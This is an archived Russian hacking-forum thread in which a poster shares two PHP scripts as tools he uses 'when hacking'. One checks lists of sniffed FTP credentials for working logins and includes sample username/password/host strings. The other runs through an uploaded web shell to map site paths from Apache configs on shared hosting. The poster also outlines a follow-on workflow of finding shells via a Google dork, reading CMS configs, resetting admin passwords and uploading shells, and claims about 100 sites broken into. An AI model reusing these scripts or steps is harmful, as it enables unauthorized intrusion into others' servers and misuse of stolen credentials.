Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

скрипты по автоматизации часто выполняемых действий

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Веб-программинг] >> скрипты по автоматизации часто выполняемых действий
Имя
Сообщение << Старые топики   Новые топики >>
скрипты по автоматизации часто выполняемых действий - 2010-02-23 15:03:33.816666   
codeismy.name

Сообщений: 618
Оценки: 0
Присоединился: 2009-07-19 00:30:13.200000
собственно предлогаю выкладывать тут ваши скрипты по автоматизации часто выполняемых действий.

указываем где использовался, для чего нужен, как пользоваться


приведу пример двух своих скриптов, которые часто использую при взломе

консольный чекер наснифеных фтпшников на работоспособность (использовал при проверке 60к наснифеных фтпшников, в результате валидными оказалось около сотни)
выполняем его так $ php /путь/к/файлу.php
естественно должен стоять пакет php5-cli ну или же можете выполнить его на прямую через обработчик
/usr/local/bin/php /путь/к/файлу.php смотря куда у вас пхп собран

&lt;?php ini_set("error_reporting",E_ERROR); $ftps=array("ftp://Morgachev:ChHgB@77.239.190.28:21", "ftp://user12:121212@nvs324.mirohost.net:21"); //тут массив из фтпшников $ftps=array_unique($ftps); $log=''; if(!empty($ftps)) foreach($ftps as $ftp){ if(substr($ftp,0,6)=='ftp://') $ftp=substr($ftp,7,strlen($ftp)); preg_match_all('!^(.*)\:(.*)?\@(.*)\:.*!Ui',$ftp,$ftp); if($ftp[1][0]!=''&&$ftp[2][0]!=''&&$ftp[3][0]!=''&&$ftp[1][0]!='anonymous'){ ?&gt; Логин: &lt;?=$ftp[1][0];?&gt; Пароль: &lt;?=$ftp[2][0];?&gt; Хост:&lt;?=$ftp[3][0];?&gt; &lt;? // set up basic connection $conn_id = ftp_connect($ftp[3][0]); // login with username and password $login_result = ftp_login($conn_id, $ftp[1][0], $ftp[2][0]); // check connection if ((!$conn_id) || (!$login_result)) { echo " Ошибка: не могу приконектиться к ".$ftp[3][0]." под пользователем ".$ftp[1][0]." "; } else { $log.='ftp://'.$ftp[1][0].':'.$ftp[2][0].'@'.$ftp[3][0].':21 '; echo "Подключено ".$ftp[3][0].", для пользователя ".$ftp[1][0]." "; // получаем список файлов и папок в заданной дериктории // $contents = ftp_nlist($conn_id, "."); // print_r($contents); } // close the FTP stream ftp_close($conn_id); } } ?&gt; &lt;?print_r($log);?&gt;
скрипт анализа конфигов апача, использую обычно для просмотра большого числа конфигов апача. к примеру у вас есть хостинг с цпанелью.. конфиги у него находятся в папке /hsphere/local/config/httpd/sites получив абсолютные пути к сайтам вы через шел (на пример wso 2.3) можете прочитать конфы той же джумлы или вп, сменить пароль на админском юзере и залить через админку шел, у которого уже будут права на запись :) так с помощью этой баги ломанул порядка 100 сайтов на 2-х серверах …

использовать так:
1) у вас должен быть уже залитый шел (шелов можно найти с помощью гуглхака intitle:c99madshell и фпирёд)
2) через шел заливаем на взломаный акк этот скриптик и выполняем его в браузере.
на сервере создаётся лог в нём смотрим пути и адреса сайтов формат вывода лога всегда можете настроить под себя
&lt;?php $confs_dir='/hsphere/local/config/httpd/sites'; // папка с конфами апача (стандартно для cpanel) $rejex1='!DocumentRoot (.*)!i'; // регулярка для поиска документ рута $rejex2='!ServerName (.*)!i'; // регулярка для поиска домена $sort=true; //отсортировать лог по завершению $log_name='log.txt'; //задаём имя лог $files=scandir($confs_dir); /* часто возникает необходимость ограничить число проверок за 1 раз в связи с тем, что серверная мощьность ограничена а на сервере может находиться несколько тысяч аккаунтов, по этому ставим по желанию ограничитель */ $st=0;//с какой итерации начать $end=1000; //сколько файлов проверить if($st==0)$o='w+';else $o='a'; //если итерация первая на всякий случай очищаем лог $fp=fopen($log_name,$o); ini_set('error_reporting',E_ERROR); sort($files); foreach($files as $file){ $st++; if($st&lt;=$end) if($file!='.'&&$file!='..'&&fopen($confs_dir.'/'.$file,'r')){ $c=file_get_contents($confs_dir.'/'.$file); $c=explode('\n',$c); $log=''; foreach($c as $str){ if(preg_match($rejex1,$str,$matches,PREG_OFFSET_CAPTURE)) $log=$matches[1][0]."{"; if(preg_match($rejex2,$str,$matches,PREG_OFFSET_CAPTURE)) $log.=preg_replace("! !","",$matches[1][0])."} найдено в файле ".$file.":".$st."\n"; } if($log!='') fwrite($fp,$log);// запишем изменения сразу на случай если не дай бог соединение оборвётся. } } if($sort) { $log=explode('\n',file_get_contents($log_name)); sort($log); $fp=fopen($log_name,'w+'); fwrite($fp,implode('\n',$log)); } echo 'iteration: '.$st; //а теперь выводим итерацию на которой остановились

Post #: 1
Страниц:  [1]
Все форумы >> [Веб-программинг] >> скрипты по автоматизации часто выполняемых действий







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.